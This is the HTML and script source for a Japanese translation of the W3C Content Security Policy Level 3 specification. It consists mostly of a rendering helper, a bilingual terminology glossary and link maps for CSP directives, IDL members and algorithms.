CSP3-ja.html

<!DOCTYPE html><html lang="ja"><head><meta charset="utf-8">
<title>Content Security Policy Level 3 （日本語訳）</title>

<link rel="stylesheet" href="common.css" type="text/css">
<link rel="stylesheet" href="common-w3c.css" type="text/css">
<style>
samp {
	white-space: nowrap;
	background: var(--bg-color-1);
	margin-left: 0.5em;
	margin-right: 0.5em;
}

.hex-value {
	font-family: monospace0, monospace;
}
</style>

<script src="common0.js"></script>
<script src="common1.js" async></script>

<script>
Util.ready = function(){
	const source_data = {
		toc_main: 'MAIN0',
		generate: expand
	};
	Util.switchWordsInit(source_data);
}

function expand(){
	const class_map = this.class_map;
	const tag_map = this.tag_map;
	const link_map = this.link_map;

	return this.html.replace(
		/%[\w\-~一-鿆あ-ん]+|`(.*?)([$@^])(\w*)/g,
		create_html
	);

	function create_html(match, key, indicator, klass){

if(!indicator) {//%
	return '<var>' + match.slice(1) + '</var>';
}

let href = '';
let href1 = '';
{
	const n = key.indexOf('＠');
	if(n > 0) {
		href1 = key.slice(n + 1);
		key = key.slice(0, n);
	}
}
let text = key;

switch(klass){
case 'r':
	text = `[${key}]`;
	href = '#biblio-' + key.toLowerCase();
	break;
case 'pl': //protocol literal
	text = `'${key}'`;
	href = `#grammardef-${key}`;
	break;
case 'bl':
	text = `\`<code class="literal">${key}</code>\``;
	break;
case 'p': // protocol 要素
	href = `#grammardef-${key}`;
	break;
case 'dir': // 指令
	href = `#${key}`;
	break;
case 'vB': // CSPViolationReportBody
	href = `#dom-cspviolationreportbody-${key.toLowerCase()}`;
	break;
case 'vE': // SecurityPolicyViolationEvent
	href = `#dom-securitypolicyviolationevent-${key.toLowerCase()}`;
	break;
case 'vI': // SecurityPolicyViolationEventInit
	href = `#dom-securitypolicyviolationeventinit-${key.toLowerCase()}`;
	break;
case 'sc': // scheme
	text = key.replace(/_/, ':' );
	break;
case 'hex': // hex
	text = `%x${key}`;
	break;
case 'l':
	text = `"<code class="literal">${key}</code>"`
	break;
case 'U':
	text = `U+${key}`
	break;
case 'issue':
	return `<a href="~CSP3issues/${key}">課題 #${key}</a>`;
	break;
case 'en':
	text = `<span lang="en">${key}</span>`;
	break;
}

let tag = tag_map[klass];
if(tag) {
	let classname = class_map[klass];
	classname = classname ? ` class="${classname}"` : '';
	text = `<${tag}${classname}>${text}</${tag}>`;
}

if(indicator !== '^'){
	href = href1 || link_map[ klass ? `${klass}.${key}` : key ] || href;
	if(!href){
		console.log(match); // check error
		return match;
	}

	switch(indicator){
	case '$':
		text = `<a href="${href}">${text}</a>`;
		break;
	case '@':
		text = `<dfn id="${href.slice(1)}">${text}</dfn>`;
		break;
	}
}

return text;

	}
}
</script>

<script type="text/plain" id="_source_data">

●●options

spec_title:Content Security Policy Level 3
spec_date:2025-04-30
trans_update:2025-04-30
source_checked:230220
page_state_key:WEBAPPSEC
original_url:https://w3c.github.io/webappsec-csp/
	https://www.w3.org/TR/CSP3/
spec_status:WD
ref_id_prefix:biblio-
ref_id_lowercase:true
conformance:w3c
copyright:2025,permissive
trans_1st_pub:2015-12-12

●●class_map
p:production
P:production
dir:directive
h:header
e:element
a:attr
v:value
et:event-type
jA:abstract
E:error
sc:scheme
at:css
f:css
pl:literal
hex:hex-value
U:code-point
cn:cp-name

●●tag_map
p:var
P:code
dir:code
h:code
css:code
sc:code
e:code
a:code
v:code
et:code
I:code
m:code
vB:code
vE:code
vI:code
jA:span
E:code
at:code
f:code
c:code
s:samp
i:i
pl:code
NOTE:span
hex:span
em:em
U:span
cn:span
sub:sub
cite:cite

●●words_table


	●network/HTTP/fetch
HTTP-network:
HTTP_S:HTTP(S) 
Fetch:
IP:
IPv6:
IPv4:
CDN:
ICE:
STUN:
keepalive:
manifest::::マニフェスト
	~fetch~~処理:fetching
prefetch:
website::::サイト
	~redirect前の:pre-redirects
回数:count:~
	~redirect回数~redirect~count
下位domain:subdomain:::下位ドメイン
hostname::::ホスト名
main:
要請前:pre-request::~::リクエスト前
要請後:post-request::~::リクエスト後
接続前:pre-connect::~
接続性:connectivity::~
不透明な:opaque:~
peer:

	●保安
XSS:cross-site scripting:XSS
dangling-markup:dangling markup:::マークアップぶら下げ
乗取り:hijacking::乗っ取り
	~security上の:security
	~security施策:security policy
	~secureでない:insecure
昇格:upgrade::~
暗号的:cryptographic::~
暗号用:cryptographic::~
迂回-:bypass::~
迂回:bypass::~
悪用-:exploit::~
推測-:guess::~
	推測-不能:unguessable
欠陥:flaw::~
	exfiltration
sink:
双方向通信channel:bidirectional communication channel:双方向通信 channel::双方向通信チャネル
監禁-:lock down:~
投入-:feed:~
	fed
乱数:random number::~
網羅する:exhaustiveな:~
	壊れ易く, 扱い難い:brittle, awkward
自信:confidence:~
	自信がない:low confidence
	自信がある:high degree of confidence
大変:tough:~
	持ち込む:bring する
	構文解析-時に挿入され:parser-inserted
特権:privilege::~

防御-:defend::~
緩い:laxな::~
騙せる:trickできる::~
漏出-:exfiltrate::~
漏出:exfiltration::~
探査-:probe::~
log-in::::ログイン
盗用-:steal::~
転用-:repurpose::~
総当たり:brute force:~
打破-:subvert:~
聴取-:audit:~
隠す:hideする:~
sniff:
	~sniff法:sniffing
堅牢性:robustness:~
緩めて:relaxして:~
許容list:allowlist::許容 list:許容リスト

	信用できない:untrusted
	紛れ込む余地:potentially
	他では信用に価する:otherwise trustworthy
	誘う道:tempting avenues
	^en:UI Redressing
	^en:Pixel Perfect

	●CSP 対象
	CSSOM
compilation::::コンパイル
track::::トラック
	~script以外には~~直に:scripts but not any other non-script channels
bookmarklet::::ブックマークレット
iframe-srcdoc:iframe srcdoc
開な:open::開いた
開く:openする::~
開かれ:openされ::~
WebAssembly:
WebRTC:
	~WebRTC:RTC
	~WebRTC:webrtc
password::::パスワード
username::::ユーザ名

	●CSP

hash::::ハッシュ
nonce::::ナンス
	~nonce可能:nonceable
	~nonce可能でない:not nonceable
digest::::ダイジェスト

式:expression::~
	報告-法:reporting
	報告-:reporting
報告先:reporting endpoint::~::レポート先
報告用:reporting::~::レポート用
端点:endpoint::~::エンドポイント
施行n:enforcement::施行
施行:enforcing::~
先天的:a priori::~
稼働中の:running::~
稼働時:runtime::~
pragma:
	~pragma指令:processing instruction
通過制御-:gate::~
有効果:effective::~
処置先:disposition::~
行番号:line number::~
列番号:column number::~

	~CSP:Content Security Policy
	~CSP:content security policy
	~CSP:CSP
	厳密な~CSP:Strict CSP

	●構文／文字列操作
成分:成分
	ASTERISK
	SEMICOLON
	SOLIDUS
	FULLSTOP
	COMMA
	STOP
	^p:scheme-part
percent-::: %-
同型:isomorphic::~
直列形の:serialized::~::シリアル形の
直列形:serialized::~::シリアル形
区切っ:delimitし:~
区切られ:delimitされ:~
	〜で区切られた:-delimited
asterisk::::アスタリスク
剥いで:stripして:~
wildcard::::ワイルドカード

	~EQ:is identical to
	case-sensitive
	~token化:tokenization
	符号化-法:encoding
	10 進数:decimal number

	●処理
callable:
合格-:pass::~
Yes:::はい
No:::いいえ
	阻止される^i:Blocked
	許容される^i:Allowed
	許容する^i:Allows
	許容しない^i:Does Not Allow
	合致しない^i:Does Not Match
	合致する^i:Matches
	ε:Does Not Violate
blockedURI:
schedule::::スケジュール
	initializing
	skip
pipe:
剥ぐ:stripする:~
候補:candidate:~
params::::パラメタ群
連結-:concatenate:~
	連結する$:joining

	渡す:pass する
	伝播する:captured on its way into, and will bubble its way out of
	再~target法:retargeting
	~instance化:instantion
	~instance化:instantiation
	~instance化:instantiate
	popping
	modification
	すぐに:shortly
	成り行き:outcome
	何もしない:returns normally
	必要なら:potentially

	●変数
	%element
	%n
	%m
	%直列形:serialized
	%~source:source
	%処置先:disposition
	%指令~集合:policy
	%指令~集合:-
	%~algo:algorithm
	%~hash~list:-
	%~hash:hash
	%~token:-
	%~token:token
	%~token群:-
	%~list:
	%指令~名:directive name
	%指令~値:directive value
	%~list:list
	%施策~群:policies
	%施策:policy
	%応答:response
	%名前:
	%値
	%大域~obj:global
	%大域~obj:
	%指令~名:directive
	%指令~名:directive-name
	%指令~名:directive name
	%違反:violation
	%要請:request
	%~CSP~list:CSP list
	%違反された指令:violates
	%結果:result
	%指令:directive
	%G
	%文書:document
	%~obj:object
	%要素:element
	%型:type
	%~navi要請:navigation request
	%種別:type
	%~navi応答:navigation request
	%応答~CSP~list:response CSP list
	%~target:target
	%~realm:realm
	%~parameter文字列~群:parameterStrings
	%本体~文字列:bodyString
	%~code文字列:codeString
	%~source文字列:sourceString
	%~compilation種別:compilationType
	%~compilation~sink:compilationSink
	%~parameter引数~群:parameterArgs
	%本体~引数:bodyArg
	-:globals
	%~source~list:source-list
	%~source~list:source list
	%本体:body
	%報告~用~URL:stripped-document-URL
	%報告-先~指令:report-to-directive
	%報告先:endpoint
	%名前:name
	%基底:base
	%文脈:context
	%~sandbox法~flag集合:sandboxing flag set
	%~navi種別:navigation type
	%検査~種別:check type
	%生成元:origin
	%起動元:initiator
	%完全性~metadata:integrity metadata
	%完全性~式~群:integrity expressions
	%完全性~source群:integrity sources
	%~metadata:source
	%~nonce:nonce
	%式
	%式:expression
	%~URL:url
	%~URL~scheme:-
	%~URL~host:-
	%~URL~port:-
	%~redirect回数:redirect count
	%s
	%~scheme成分:-
	%~port成分:port-part
	%~URL~path:path
	%A:-
	%B:-
	%A:A
	%B:B
	%A:port A
	%B:port B
	%A:path A
	%B:path B
	%~scheme:-
	-:defaultPort
	%正規化-済み入力:normalizedInput
	%listA:path list A
	%listB:path list B
	%LA:-
	%LB:-
	%i:-
	%属性:attribute
	%~inlineをすべて許容するか:allow all inline
	%安全でない~hashか:unsafe-hashes
	%~algo:algorithm
	%有効果な指令の名前:effective directive name
	%指令~fallback~list:directive fallback list
	%~fallback指令:fallback directive
	%既定の指令:defaultDirective
	-:remaining
	%信用-済みか:isTrusted
	-:trustedTypesRequired
	%~index:index
	%引数:arg
	%検証される~source:sourceToValidate

	●仕様
	W3C
noise::::ノイズ
不可欠:critical:~
modular::::モジュール式
	modular:modular fashion
恒久的:permanent:~
	より適した:better suited
詳細に:in detailに:~
需要:demand:~
著作上の:authoring:~
優先権:priority:~
	優先権を与える:advance the user’s priority
反復的に:iterative fashionで:~
	単純に:simply
特質:property:~:::プロパティ
疑義:suspect:~
補佐的:ancillary:~
高価:expensive:~
自明:trivial:~
基礎的な:foundational:~
妥協点:compromise:~
視点:perspective:~
利点:advantage:~
細かい:granularな:~
細かさ:granularity:~
手助け:facilitate:~
仕事:work:~
単直:straightforward:簡単
安定的:stable:~
明確さ:clarity:~
発展:evolution:~
無傷で:unscathed:~
	改善-:improvement
	-:perform
目指す:aimする:~
答え:answer:~
築上げる:build upする:築き上げる
規制-:regulate:~
警告:warning:~
	論じ:discussion
運用:operation:~
運用者:operator:~
代用-:substitute::~
信奉-:espouse:~
見積もり:estimate:~
計画-:plan:~
	~~特段の注意を払う:pay particular attention
欠いて:lackして:~
欠く:lackする:~
土台:ground:~
	土台から:ground up
難題:challenge:~
	自身が依存するもの:dependencies
為す:makeする:~
禁制-:prohibit:~
種類:kind:~
束ねら:tieさ:~
問答無用:draconian:~
補足-:supplement:~
利用度:usage:~
準拠な:compliantな:準拠する

	勧める:it is advisable to
	アリでない:impossible
	最も~~簡単:best
	好例:good examples
	相応に:fairly
	正当:legitimate
	好都合:is fine, and desirable
	主な:major
	~~詳細は、~~自動的に:automagically
	-:unclear
	十分:sufficient
	suspect
	〜に置き換えた〜:variant
	一方〜他方:vice-versa
	短く言えば:In short
	上手く:well
	よって：:To that end
	それ自身のために／に利するために:behalf of に
	~~外:wild
	相当に:pretty
	高~level:high-level
	など:like
	今日:today
	何故なら:because
	ぶん，:fairly
	おかげ:helpfully
	諸刃の剣:big hammer
	まとまりのない:sprawlings
	部位:portion
	繰り~~返し:iteration
	何らかの類の:some sort
	何らかの仕方で:in one way or another
	あり得る／得る:potentially
	potential
	awesome
	早期実装:earlier iteration
	支持を受けて／よりも:in favor of
	-:clever
	種のもの:kind
	外部~化:externalize
	置き換えるもの:replacement
	~~対処-:deal with
	-:extensibility
	比して:in relation to
	包摂的:encompassing fashion
	生じることになる:in play
	同時に〜にもなる:balance
	~~述べて:talk
	~~述べられ:spell out
	書き記す:spell 〜 out
	ときに呈する〜 “気になる面白い” :sometimes-interesting 〜 present
	興味を引く:interesting
	責を負う／責も負う:responsible
	担当する:responsible
	走査して:walking
	~~注視-:watching:
	~~正しく保つ:get right
	拡げ:expand
	反した:goes against
	価値が損われる:significantly reducing their value
	整える:set up
	~~確信が得られた:gained confidence
	様々な組み合わせ:piece together
	効果を~~発揮する:gains meaning
	いずれかに~~分類される:fall into one of several categories
	書き直され:rewritten
	~~働くserve
	関わる:interesting
	べき:ought 
	できるだけ抑え:try to minimize
	外からの入力に対する注意深い検証／出力の安全な形への符号化-:careful input validation and output encoding
	満たされ:met
	満たす:meet
	-:think
	preferably
	選ばれ:chosen
	出荷-:ship
	大きく:substantial
	かなりの~noise~~源になる:produces a substantial amount of noise
	かなり:substantially
	-:assuming
デモる:demonstrateする:~
	傾向がある:tend to
	-:help
	見当たらない:looked
	said
	容易さ:ease
	administrative
	取組むことは可能:addressable
	分類:categories
	該当-:fall into

	●未分類
Infra:
ES:ECMAScript
light:
	light:main
worklet:
折返:折り返
scalable::::スケーラブル
先行-:precede:~
XSLT:
	Service-Worker-1^r:Service Worker
	sw:Service Worker
MegaCorp:
addon::::アドオン
	-:subject
強制d:forced::強制
dashboard::::ダッシュボード
生の:raw:~
重複:duplicate:~
重複な:duplicate:重複した
和集合:union:~
列挙値:enum::~

	^e:iframe
	追加すること:adding additional
	-:stem
	にも〜する:way out
	始-:begin
	弱い:weak
	手渡す:hand
	consist
	consisting
	count
	end
	fall
	gained
	get
	having
	叩く:hit
	moving
	put
	remain
	を指している:pointing to
	探し出-:looking for
	得る:Retrieve
	~RET:abort
	open:
	opener:
	~plugin-type:
	から生じて:originate
	部分照合:prefix/postfix text matching
	~~比較
	^p:base64
	Level
	~main~fetch:Main Fetch
	文書:Document
	空になったどうか:if the resulting policies end up containing at least one item
	~~省くよう最適化-:use it to optimize away
	面する:surface
	現れる:appear
	~CSP~hash報告:csp hash report
	文書~URL:documentURL
	下位資源~URL:subresourceURL

	抗-:against
	他の:different
	長い:long
	note
	respective
	short
	time
	top
	true
	back
	e-mail:e-mail
	in order to
	informative
	people
	public
	ought
	please
	we
	-:over
	~source:payload

	●指示語
	~~元の:main
	特に〜ない:no particular
	-／まるごと:entirely
	~~最後の:final
	ある種の:one variant
	その一片:that bit
	一部:part of
	各種:various
	古い:old
	everything
	以上:least
	片:piece
	during
	anyone
	anything
	neither
	sequence
	several
	something
	後続して:subsequent
	such
	themselves
	thing
	together
	前面:front
	lot
	moreover
	nothing
	-／次の:below
	後半部:second half
	ほとんどの場合:most of the time
	一群の:set of

●●original_id_map

ascii-case_insensitive:
style-src-init:

●●words_table1

MIXED-CONTENT1:https://www.w3.org/TR/mixed-content/
UPGRADE-INSECURE-REQUESTS:webappsec-upgrade-insecure-requests-ja.html
CSP3issues:https://github.com/w3c/webappsec-csp/issues
WASM:https://webassembly.github.io/spec

meta:<code class="element">meta</code> 
strict-dynamic:<code class="literal">'strict-dynamic'</code>
at_import:<code class="css">@import</code>

●●mdn_urls
header-content-security-policy:HTTP/Headers/Content-Security-Policy
header-content-security-policy-report-only:HTTP/Headers/Content-Security-Policy-Report-Only

base-uri:HTTP/Headers/Content-Security-Policy/base-uri
child-src:HTTP/Headers/Content-Security-Policy/child-src
connect-src:HTTP/Headers/Content-Security-Policy/connect-src
default-src:HTTP/Headers/Content-Security-Policy/default-src
font-src:HTTP/Headers/Content-Security-Policy/font-src
form-action:HTTP/Headers/Content-Security-Policy/form-action
frame-ancestors:HTTP/Headers/Content-Security-Policy/frame-ancestors
frame-src:HTTP/Headers/Content-Security-Policy/frame-src
img-src:HTTP/Headers/Content-Security-Policy/img-src
manifest-src:HTTP/Headers/Content-Security-Policy/manifest-src
media-src:HTTP/Headers/Content-Security-Policy/media-src
object-src:HTTP/Headers/Content-Security-Policy/object-src
report-to:HTTP/Headers/Content-Security-Policy/report-to
report-uri:HTTP/Headers/Content-Security-Policy/report-uri
sandbox:HTTP/Headers/Content-Security-Policy/sandbox
script-src:HTTP/Headers/Content-Security-Policy/script-src
script-src-attr:HTTP/Headers/Content-Security-Policy/script-src-attr
script-src-elem:HTTP/Headers/Content-Security-Policy/script-src-elem
style-src:HTTP/Headers/Content-Security-Policy/style-src
style-src-attr:HTTP/Headers/Content-Security-Policy/style-src-attr
style-src-elem:HTTP/Headers/Content-Security-Policy/style-src-elem
worker-src:HTTP/Headers/Content-Security-Policy/worker-src

securitypolicyviolationevent:API/SecurityPolicyViolationEvent
	cspviolationreportbody:API/CSPViolationReportBody
	enumdef-securitypolicyviolationeventdisposition:API/SecurityPolicyViolationEventDisposition
	dictdef-securitypolicyviolationeventinit:API/SecurityPolicyViolationEventInit

●●link_map


	●grammardef
	pl.allow:#grammardef-allow
	pl.block:#grammardef-block
	pl.none:#grammardef-none
	pl.self:#grammardef-self
	pl.unsafe-inline:#grammardef-unsafe-inline
	pl.unsafe-eval:#grammardef-unsafe-eval
	pl.strict-dynamic:#grammardef-strict-dynamic
	pl.unsafe-hashes:#grammardef-unsafe-hashes
	pl.report-sample:#grammardef-report
	pl.unsafe-allow-redirects:#grammardef-unsafe-allow-redirects
	pl.wasm-unsafe-eval:#grammardef-wasm-unsafe-eval
	pl.trusted-types-eval:#grammardef-trusted-types-eval
	pl.report-sha256:#grammardef-report-sha256
	pl.report-sha384:#grammardef-report-sha384
	pl.report-sha512:#grammardef-report-sha512

	p.optional-ascii-whitespace:#grammardef-optional-ascii-whitespace
	p.required-ascii-whitespace:#grammardef-required-ascii-whitespace

	p.ancestor-source-list:#grammardef-ancestor-source-list
	p.ancestor-source:#grammardef-ancestor-source
	p.base64-value:#grammardef-base64-value
	p.directive-name:#grammardef-directive-name
	p.directive-value:#grammardef-directive-value
	p.hash-algorithm:#grammardef-hash-algorithm
	p.hash-source:#grammardef-hash-source
	p.host-char:#grammardef-host-char
	p.host-part:#grammardef-host-part
	p.host-source:#grammardef-host-source
	p.keyword-source:#grammardef-keyword-source
	p.nonce-source:#grammardef-nonce-source
	p.path-part:#grammardef-path-part
	p.port-part:#grammardef-port-part
	p.scheme-part:#grammardef-scheme-part
	p.scheme-source:#grammardef-scheme-source
	p.serialized-directive:#grammardef-serialized-directive
	p.serialized-policy:#grammardef-serialized-policy
	p.serialized-policy-list:#grammardef-serialized-policy-list
	p.serialized-source-list:#grammardef-serialized-source-list
	p.source-expression:#grammardef-source-expression

p.path-absolute:~RFCx/rfc3986#section-3.3
p.scheme:~RFCx/rfc3986#section-3.1
p.uri-reference:~RFCx/rfc3986#section-4.1
	~RFCx/rfc5234#appendix-B.1
	~RFCx/rfc7230 → ~HTTPinfra
p.token:~HTTPinfra#p.token
p.base64url:~RFCx/rfc4648#section-5
p.base64:~RFCx/rfc4648#section-4


P.ALPHA:#_ALPHA
P.DIGIT:#_DIGIT
P.VCHAR:#_VCHAR
P.OWS:#_OWS

~asterisk:#_asterisk
~semicolon:#_semicolon
~slash:#_slash
~comma:#_comma
#規則:#_list-rule

	●IDL

Exposed:~WEBIDLjs#Exposed
Default:~WEBIDLjs#Default

unsigned short:~WEBIDL#idl-unsigned-short
unsigned long:~WEBIDL#idl-unsigned-long
DOMString:~WEBIDL#idl-DOMString
USVString:~WEBIDL#idl-USVString

I.ReportBody:~REPORTING#reportbody
I.CSPViolationReportBody:#cspviolationreportbody
I.SecurityPolicyViolationEventDisposition:#enumdef-securitypolicyviolationeventdisposition
I.SecurityPolicyViolationEventInit:#dictdef-securitypolicyviolationeventinit
I.SecurityPolicyViolationEvent:#securitypolicyviolationevent
I.ServiceWorker:~SW1#serviceworker
I.SharedWorker:~WORKERS#sharedworker
I.Worker:~WORKERS#worker
I.WorkerGlobalScope:~WORKERS#workerglobalscope
I.WorkletGlobalScope:~WORKLETS#workletglobalscope
I.Window:~WINDOW#window
I.WebSocket:~WEBSOCKET#websocket
I.EventSource:~HTMLsse#eventsource
I.XMLHttpRequest:~XHR#xmlhttprequest
	I.Element:~DOM4#element
	→ 要素:~DOM4#concept-element
I.RTCIceCandidate:~TR/webrtc/#dom-rtcicecandidate
I.RTCPeerConnection:~TR/webrtc/#dom-rtcpeerconnection

I.Event:~DOM4#event
I.EventInit:~DOM4#dictdef-eventinit
I.EventTarget:~DOM4#eventtarget
I.Document:~DOM4#document
文書:~DOM4#document

l.enforce:#dom-securitypolicyviolationeventdisposition-enforce
l.report:#dom-securitypolicyviolationeventdisposition-report

	vB.toJSON
	vB.documentURL:#dom-cspviolationreportbody-documenturl
	vB.referrer:#dom-cspviolationreportbody-referrer
	vB.blockedURL:#dom-cspviolationreportbody-blockedurl
	vB.effectiveDirective:#dom-cspviolationreportbody-effectivedirective
	vB.originalPolicy:#dom-cspviolationreportbody-originalpolicy
	vB.sourceFile:#dom-cspviolationreportbody-sourcefile
	vB.sample:#dom-cspviolationreportbody-sample
	vB.disposition:#dom-cspviolationreportbody-disposition
	vB.statusCode:#dom-cspviolationreportbody-statuscode
	vB.lineNumber:#dom-cspviolationreportbody-linenumber
	vB.columnNumber:#dom-cspviolationreportbody-columnnumber

	vI.effectiveDirective:#dom-securitypolicyviolationeventinit-effectivedirective
	vI.originalPolicy:#dom-securitypolicyviolationeventinit-originalpolicy
	vI.sourceFile:#dom-securitypolicyviolationeventinit-sourcefile
	vI.sample:#dom-securitypolicyviolationeventinit-sample
	vI.disposition:#dom-securitypolicyviolationeventinit-disposition
	vI.referrer:#dom-securitypolicyviolationeventinit-referrer
	vI.statusCode:#dom-securitypolicyviolationeventinit-statuscode
	vI.effectiveDirective:#dom-securitypolicyviolationeventinit-effectivedirective

	constructor:#dom-securitypolicyviolationevent-securitypolicyviolationevent
	vE.blockedURI:#dom-securitypolicyviolationevent-blockeduri
	vE.columnNumber:#dom-securitypolicyviolationevent-columnnumber
	vE.documentURI:#dom-securitypolicyviolationevent-documenturi
	vE.effectiveDirective:#dom-securitypolicyviolationevent-effectivedirective
	vE.violatedDirective:#dom-securitypolicyviolationevent-violateddirective
	vE.lineNumber:#dom-securitypolicyviolationevent-linenumber
	vE.originalPolicy:#dom-securitypolicyviolationevent-originalpolicy
	vE.sourceFile:#dom-securitypolicyviolationevent-sourcefile
	vE.sample:#dom-securitypolicyviolationevent-sample
	vE.disposition:#dom-securitypolicyviolationevent-disposition
	vE.referrer:#dom-securitypolicyviolationevent-referrer
	vE.statusCode:#dom-securitypolicyviolationevent-statuscode

	m.referrer:~HTMLdom#dom-document-referrer
m.bubbles:~DOM4#dom-event-bubbles
m.composed:~DOM4#dom-event-composed
m.target:~DOM4#dom-event-target
m.setInterval():~HTMLGAPI#dom-setinterval
m.setTimeout():~HTMLGAPI#dom-settimeout
m.fetch():~FETCH#fetch-method
m.restartIce():~TR/webrtc/#dom-rtcpeerconnection-restartice
m.connectionState:~TR/webrtc/#dom-peerconnection-connection-state

m.local:~TR/webrtc/#dom-rtcicecandidatepair-local
m.remote:~TR/webrtc/#dom-rtcicecandidatepair-local


	m.cssText
	m.insertRule()

	%type:#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type
	%eventInitDict:#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict

et.securitypolicyviolation:#eventdef-globaleventhandlers-securitypolicyviolation

	●dirctive
	dir.base-uri:#base-uri
	dir.child-src:#child-src
	dir.connect-src:#connect-src
	dir.default-src:#default-src
	dir.font-src:#font-src
	dir.form-action:#form-action
	dir.frame-ancestors:#frame-ancestors
	dir.img-src:#img-src
	dir.media-src:#media-src
	dir.object-src:#object-src
	dir.report-to:#report-to
	dir.report-uri:#report-uri
	dir.sandbox:#sandbox
	dir.script-src-attr:#script-src-attr
	dir.script-src-elem:#script-src-elem
	dir.script-src:#script-src
	dir.style-src-attr:#style-src-attr
	dir.style-src-elem:#style-src-elem
	dir.style-src:#style-src
	dir.webrtc:#webrtc

dir.block-all-mixed-content:~MIXED-CONTENT1#block-all-mixed-content
dir.upgrade-insecure-requests:~UPGRADE-INSECURE-REQUESTS#upgrade-insecure-requests


	●attr／elem
a.content:~HEmetadata#attr-meta-content
a.data:~HEembed#attr-object-data
a.href:~HEmetadata#attr-base-href
a.http-equiv:~HEmetadata#attr-meta-http-equiv
a.sandbox:~HEembed#attr-iframe-sandbox
a.nonce:~HTMLurl#attr-nonce
a.ping:~HTMLlinks#ping

v.prefetch:~HTMLlinks#link-type-prefetch
v.preconnect:~HTMLlinks#link-type-preconnect

e.a:~HEtextlevel#the-a-element
e.base:~HEmetadata#the-base-element
e.embed:~HEembed#the-embed-element
e.iframe:~HEembed#the-iframe-element
e.link:~HEmetadata#the-link-element
e.meta:~HEmetadata#the-meta-element
	#meta
e.object:~HEembed#the-object-element
e.script:~HEscripting#the-script-element
	#script
e.style:~HEmetadata#the-style-element
e.frame:~HTMLobs#frame

	●header
h.Content-Security-Policy:#header-content-security-policy
h.Content-Security-Policy-Report-Only:#header-content-security-policy-report-only
h.Link:~HTTPweblink#field.link
	h.Link:~RFCx/rfc5988.html#section-5
h.X-Frame-Options:~HTMLlifecycle#x-frame-options

l.parser-inserted:~HEscripting#parser-inserted

	●

~CSP:#content-security-policy
~CSP~list:#csp-list
gO.~CSP~list:#global-object-csp-list
	→有する~CSP~list
有する~CSP~list:#_csp-list-of-object
施行-:#enforced
施行され:#enforced
監視-:#monitored
監視され:#monitored

~source式:#source-expression
~source~list:#source-lists

処置先:#policy-disposition
~source:#policy-source
自己-生成元:#policy-self-origin
指令~集合:#policy-directive-set

指令:#directives
有効果な指令:#request-effective-directive
~fetch指令:#fetch-directives
値:#directive-value

名前:#directive-name
施策:#content-security-policy-object
直列形の~source~list:#serialized-source-list
直列形の指令:#serialized-directive
直列形の~CSP:#serialized-csp
直列形の~CSP~list:#serialized-csp-list
直列化-:#serialized-csp

~inlineな挙動をすべて許容する:#source-list-allows-all-inline-behavior
~headerにより送達された~CSPを包含して:#contains-a-header-delivered-content-security-policy
~ABNF:#biblio-rfc5234

違反:#violation
報告:~REPORTING#report
rP.本体:~REPORTING#report-body
報告先:~REPORTING#endpoint
	#directive-report-uri
	端点:~REPORTING#endpoint
報告用~観測器から可視:~REPORTING#visible-to-reportingobservers
報告~種別:~REPORTING#report-type
報告を生成して~queueする:~REPORTING#generate-and-queue-a-report

~CSP違反~報告:#csp-violation-report
vr.~referrer:#violation-referrer
vr.~source~file:#violation-source-file
vr.~URL:#violation-url
vr.大域~obj:#violation-global-object
vr.施策:#violation-policy
vr.有効果な指令:#violation-effective-directive
vr.処置先:#violation-disposition
vr.状態s~code:#violation-status
vr.資源:#violation-resource
vr.列番号:#violation-column-number
vr.行番号:#violation-line-number
vr.要素:#violation-element
vr.見本:#violation-sample

~CSP~hash報告:#csp-hash-report
~CSP~hash報告の本体:#csp-hash-report-body
hrB.文書~URL:#csp-hash-report-body-documenturl
hrB.下位資源~URL:#csp-hash-report-body-subresourceurl
hrB.~hash:#csp-hash-report-body-hash
hrB.行先:#csp-hash-report-body-destination
hrB.種別:#csp-hash-report-body-type


	●演算
A.要請前~検査:#directive-pre-request-check
A.要請後~検査:#directive-post-request-check

A.~script指令の要請前~検査:#script-pre-request
A.~script指令の要請後~検査:#script-post-request

A.~inline検査:#directive-inline-check
A.初期化:#directive-initialization
A.~navi前~検査:#directive-pre-navigation-check
A.~navi応答~検査:#directive-navigation-response-check
A.~WebRTC接続前~検査:#directive-webrtc-pre-connect-check

A.直列形の~CSPを構文解析する:#abstract-opdef-parse-a-serialized-csp
構文解析-:#abstract-opdef-parse-a-serialized-csp
A.応答の~CSPを構文解析する:#abstract-opdef-parse-a-responses-content-security-policies

A.必要なら~hashを報告する:#potentially-report-hash
	A.応答の~CSPを構文解析する:#parse-response-csp
A1.新たな違反~obj:#create-violation-for-global
A.新たな違反~obj:#create-violation-for-request
	＊A1.違反~objを作成-:#create-violation-for-global
	＊A.違反~objを作成-:#create-violation-for-request
A.要請は~CSPにより阻止されるべきか？:#should-block-request
A.要請に対する応答は~CSPにより阻止されるべきか？:#should-block-response
A.~objの~CSP~listを得る:#get-csp-of-object
A.要素における~inlineな型の挙動は~CSPにより阻止されるべきか？:#should-block-inline

A.ある種別の~navi要請は~CSPにより阻止されるべきか？:#should-block-navigation-request
A.~targetにおける ある種別の~navi要請に対する応答は~CSPにより阻止されるべきか？:#should-block-navigation-response

A.違反の資源から~blockedURIを得する:#obtain-violation-blocked-uri
A.直列化-（非推奨d）:#deprecated-serialize-violation
A.報告~内の利用-用に~URLを剥ぐ:#strip-url-for-use-in-reports
A.違反を報告する:#report-violation
	＊A.~CSP指令:#csp-directives

A.要請は施策に違反するか？:#does-request-violate-policy
A.資源~hint要請は施策に違反するか？:#does-resource-hint-violate-policy
A.~nonceは~source~listに合致するか？:#match-nonce-to-source-list
A.完全性~metadataは~source~listに合致するか？:#match-integrity-metadata-to-source-list
A.要請は~source~listに合致するか？:#match-request-to-source-list
A.要請に対する応答は~source~listに合致するか？:#match-response-to-source-list
A.~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？:#match-url-to-source-list
A.~URLは ( 生成元, ~redirect回数 ) について式に合致するか？:#match-url-to-source-expression

A.要請~用に有効果な指令を取得する:#effective-directive-for-a-request
A.~inline検査~用に有効果な指令を取得する:#effective-directive-for-inline-check
A.~fetch指令~fallback~listを取得する:#directive-fallback-list
A.~fetch指令を実行するべきか？:#should-directive-execute

A.~scheme成分は合致するか？:#scheme-part-match
A.~host成分は合致するか？:#host-part-match
A.~port成分は合致するか？:#port-part-matches
A.~path成分は合致するか？:#path-part-match
